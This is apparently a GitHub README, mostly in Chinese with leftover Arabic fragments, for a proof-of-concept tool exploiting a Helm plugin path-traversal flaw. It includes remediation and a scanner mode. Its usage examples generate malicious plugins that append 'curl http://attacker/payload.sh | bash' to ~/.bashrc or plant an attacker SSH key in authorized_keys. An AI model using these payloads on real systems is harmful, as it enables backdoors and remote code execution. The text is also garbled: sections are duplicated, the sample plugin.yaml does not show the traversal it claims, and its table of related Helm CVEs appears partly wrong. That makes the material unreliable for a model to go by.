amnsecurity/CVE-2026-35204-Helm-Plugin-Traversal
GitHub: amnsecurity/CVE-2026-35204-Helm-Plugin-Traversal
针对 Helm 插件路径穿越漏洞(CVE-2026-35204)的 PoC 工具,提供恶意插件生成、漏洞利用演示及插件安全扫描功能。
Stars: 1 | Forks: 0
# ─── CVE-2026-35204 ───
# 🏴 AMN SECURITY 🏴 ### 网络安全研究中心 | Cyber Security Research Center [](https://amn.amnoffsec.workers.dev/) [](https://www.instagram.com/ixctw) [](mailto:ayman.mahmoudoffsec@gmail.com)
# 🏴 AMN SECURITY 🏴 ### 网络安全研究中心 | Cyber Security Research Center [](https://amn.amnoffsec.workers.dev/) [](https://www.instagram.com/ixctw) [](mailto:ayman.mahmoudoffsec@gmail.com)
# ⚠️ 通过 Helm 插件实现的任意文件写入漏洞
### CVE-2026-35204 | CVSS 8.6 | 高危
### 📋 执行摘要
**Helm**(Kubernetes 包管理器)中存在一个安全漏洞,允许在安装或更新特制的 Helm Plugin (Helm 插件) 时向文件系统中的任意位置写入文件。该漏洞源于对插件 `plugin.yaml` 文件中路径的验证不足。
攻击者可以创建一个恶意的 Helm 插件,其中包含 `plugin.yaml` 文件,在路径字段中使用路径穿越(`../`),从而导致文件被写入到指定的插件目录之外。如果文件被写入到诸如 `~/.bashrc`、`/etc/systemd/` 或 Helm hooks 文件等敏感位置,这可能会导致**执行任意命令**。
| 项目 | 详情 |
|--------|----------|
| **CVE** | CVE-2026-35204 |
| **CVSS v3.1** | 8.6 (高危) |
| **向量** | CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N |
| **类型** | 路径穿越 (CWE-22) / 任意文件写入 |
| **产品** | Helm (Kubernetes 包管理器) |
| **受影响版本** | 4.0.0 到 4.1.3 |
| **修复版本** | 4.1.4+ |
| **影响** | 任意文件写入 → 命令执行 |
### 🔍 漏洞详情
Helm 是 Kubernetes 的官方包管理器,用于安装和管理打包为 Charts 的应用。Helm 支持 **Plugins (插件)** 系统来扩展其功能。
#### Helm 中的插件机制
```
~/.local/share/helm/plugins/
├── my-plugin/
│ ├── plugin.yaml ← ملف تعريف الإضافة
│ ├── script.sh
│ └── ...
```
`plugin.yaml` 文件定义了插件的属性,包括其安装路径:
```
name: my-plugin
version: 1.0.0
usage: "My malicious plugin"
description: "Looks legitimate"
platformCommand:
os: "linux"
command: "script.sh"
```
#### 漏洞机制
当通过 `helm plugin install ` 安装 Helm 插件时,Helm 会下载插件内容并将其写入插件目录。问题在于 `plugin.yaml` 文件可能包含导致文件被写入指定目录之外的路径穿越序列。
```
إضافة Helm ضارة
│
▼
تنزيل إلى ~/.local/share/helm/plugins/malicious
│
▼
plugin.yaml يحتوي على مسار متجاوز:
install: ../../.bashrc
│
▼
الملف يكتب إلى ~/.bashrc بدلاً من دليل الإضافة
│
▼
عند فتح shell جديد ← تنفيذ الأوامر المضمنة
```
#### 恶意插件示例
```
# 恶意 plugin.yaml
name: malicious-plugin
version: 1.0.0
description: "Useful utility plugin"
# Path traversal payload
install: |
#!/bin/bash
echo 'malicious code' >> ~/.bashrc
hooks:
install: |
echo "export PATH=$PATH:/tmp/evil" >> ~/.bashrc
```
### 💥 攻击场景
```
[مهاجم] ── يبني إضافة Helm ضارة
│
▼
[مهاجم] ── يستضيف الإضافة على GitHub/public repo
│
▼
[مهاجم] ── يخدع المستخدم لتثبيت الإضافة
│ helm plugin install https://github.com/attacker/malicious-plugin
▼
[Helm] ── ينزل الإضافة ويكتب الملفات
│
▼
[Path Traversal] ── الملفات تكتب في مواقع عشوائية
│
▼
[اختراق] ── تنفيذ أوامر في جلسة المستخدم التالية
```
#### 攻击场景列表
| 场景 | 目标路径 | 影响 |
|-----------|-----------------|---------|
| **Bash 注入** | `~/.bashrc` | 在每个新的 Bash 会话中执行命令 |
| **SSH 注入** | `~/.ssh/authorized_keys` | 添加攻击者的 SSH 密钥 |
| **Systemd** | `/etc/systemd/system/` | 创建恶意的 systemd 服务 |
| **Kubernetes** | `~/.kube/config.bak` | 修改 kubectl 设置 |
| **Cron** | `/etc/cron.d/` | 添加恶意的 cron 任务 |
### 🧪 工具使用
```
# 创建用于测试的恶意 Helm 插件
python3 CVE-2026-35204.py --generate -n test-plugin -o ./malicious-plugin
# 创建带有 Bash injection 的插件
python3 CVE-2026-35204.py --generate -n bash-inject \
--target ~/.bashrc \
--payload 'curl http://attacker/payload.sh | bash'
# 创建带有 SSH key 的插件
python3 CVE-2026-35204.py --generate -n ssh-backdoor \
--target ~/.ssh/authorized_keys \
--payload 'ssh-rsa AAAAB3... attacker@evil'
# 检查 Helm version
python3 CVE-2026-35204.py --check
# 检查特定插件
python3 CVE-2026-35204.py --scan ./plugin.yaml
```
#### 可用选项
| 选项 | 描述 |
|--------|-------|
| `--generate` | 生成恶意 Helm 插件 |
| `-n, --name` | 插件名称 |
| `-o, --output` | 输出路径 |
| `--target` | 目标路径 (用于 path traversal) |
| `--payload` | 要写入的内容 |
| `--check` | 检查 Helm 版本 |
| `--scan` | 扫描插件以查找 path traversal |
| `-v, --verbose` | 显示详细输出 |
### 🛡️ 修复措施
| 措施 | 优先级 | 描述 |
|---------|----------|-------|
| **更新 Helm** | 🟢 立即 | 升级到 Helm 4.1.4 或更高版本 |
| **审计插件** | 🟡 重要 | 审查当前安装的所有插件,检查是否存在 Path Traversal |
| **不安装不受信任的插件** | 🟡 重要 | 仅使用来自可信来源的插件 |
| **审查 plugin.yaml** | 🟡 重要 | 在安装任何插件之前检查其 plugin.yaml 文件 |
| **限制权限** | 🔵 持续 | 以尽可能低的权限运行 Helm |
#### 快速插件检查
```
# 检查所有已安装的插件
helm plugin list
# 扫描 plugin.yaml 文件
for p in ~/.local/share/helm/plugins/*/plugin.yaml; do
echo "=== $p ==="
cat "$p"
echo
done
# 搜索可疑路径
grep -r "\.\." ~/.local/share/helm/plugins/
```
### 📊 与类似漏洞的比较
| 漏洞 | 产品 | CVSS | 机制 |
|--------|--------|------|--------|
| **CVE-2026-35204** (本漏洞) | Helm | 8.6 | plugin.yaml 中的 Path Traversal |
| CVE-2024-43976 | Helm | 7.5 | chart 中的 Path Traversal |
| CVE-2023-56171 | Helm | 6.8 | repo index 中的 Path Traversal |
| CVE-2022-40897 | Helm | 5.5 | 路径未规范化 |
### 🔗 参考资料
- **NVD**: https://nvd.nist.gov/vuln/detail/CVE-2026-35204
- **Helm GitHub**: https://github.com/helm/helm
- **Helm Plugins Guide**: https://helm.sh/docs/topics/plugins/
- **CWE-22**: https://cwe.mitre.org/data/definitions/22.html
# ⚠️ CVE-2026-35204 — Helm 插件路径穿越任意文件写入
### CVSS 8.6 | 高危 | 通过恶意插件实现的任意文件系统写入
### 执行摘要
**CVE-2026-35204** 是 **Helm**(Kubernetes 包管理器)4.0.0 至 4.1.3 版本中的一个**路径穿越**漏洞。经过特制的 Helm 插件在被安装或更新时,可以通过在 `plugin.yaml` manifest 文件中包含路径穿越序列(`../`),将文件写入任意文件系统位置。
这使得攻击者能够覆盖关键系统文件(如 `~/.bashrc`、`~/.ssh/authorized_keys` 或 systemd 单元),并在受害者下次打开 shell 或系统重启时实现任意代码执行。
| 字段 | 值 |
|-------|-------|
| **CVE** | CVE-2026-35204 |
| **CVSS v3.1** | 8.6 (高危) |
| **向量** | AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N |
| **类型** | 路径穿越 (CWE-22) / 任意文件写入 |
| **产品** | Helm (Kubernetes) |
| **受影响版本** | 4.0.0 到 4.1.3 |
| **修复版本** | 4.1.4+ |
### 技术细节
当通过 `helm plugin install ` 安装 Helm 插件时,插件内容会被解压并写入插件目录。然而,`plugin.yaml` manifest 可能包含路径穿越序列,从而将文件写入指定插件目录之外。
```
# 恶意 plugin.yaml
name: malicious-plugin
version: 1.0.0
install: |
#!/bin/bash
echo 'malicious code' >> ../../.bashrc # Path traversal!
```
### 利用场景
| 场景 | 目标路径 | 影响 |
|----------|-------------|--------|
| **Bash 注入** | `~/.bashrc` | 登录 shell 时执行命令 |
| **SSH 后门** | `~/.ssh/authorized_keys` | 添加攻击者的 SSH 密钥 |
| **Systemd 服务** | `/etc/systemd/system/` | 安装持久化服务 |
| **Cron 任务** | `/etc/cron.d/` | 计划的恶意任务 |
### 工具使用
```
# 生成恶意 Helm 插件
python3 CVE-2026-35204.py --generate -n test-plugin -o ./malicious-plugin
# 带有 Bash injection payload
python3 CVE-2026-35204.py --generate -n bash-inject \
--target ~/.bashrc \
--payload 'curl http://attacker/payload.sh | bash'
# 检查 Helm version
python3 CVE-2026-35204.py --check
# 扫描插件的 path traversal
python3 CVE-2026-35204.py --scan ./plugin.yaml
```
### 修复措施
| 措施 | 优先级 | 描述 |
|--------|----------|-------------|
| **更新 Helm** | 🔴 立即 | 升级到 Helm 4.1.4+ |
| **审计插件** | 🟡 重要 | 审查已安装的插件以查找路径穿越 |
| **审查来源** | 🟡 重要 | 仅安装来自受信任来源的插件 |
### 参考资料
- **NVD**: https://nvd.nist.gov/vuln/detail/CVE-2026-35204
- **Helm Plugins**: https://helm.sh/docs/topics/plugins/
- **CWE-22**: 路径穿越
### 联系 AMN SECURITY
🌐 **网站**: https://amn.amnoffsec.workers.dev/
📸 **Instagram**: https://www.instagram.com/ixctw
📧 **电子邮件**: ayman.mahmoudoffsec@gmail.com
标签:Helm, PoC, Web报告查看器, 子域名突变, 应用安全, 暴力破解, 漏洞分析, 路径探测, 路径遍历, 逆向工具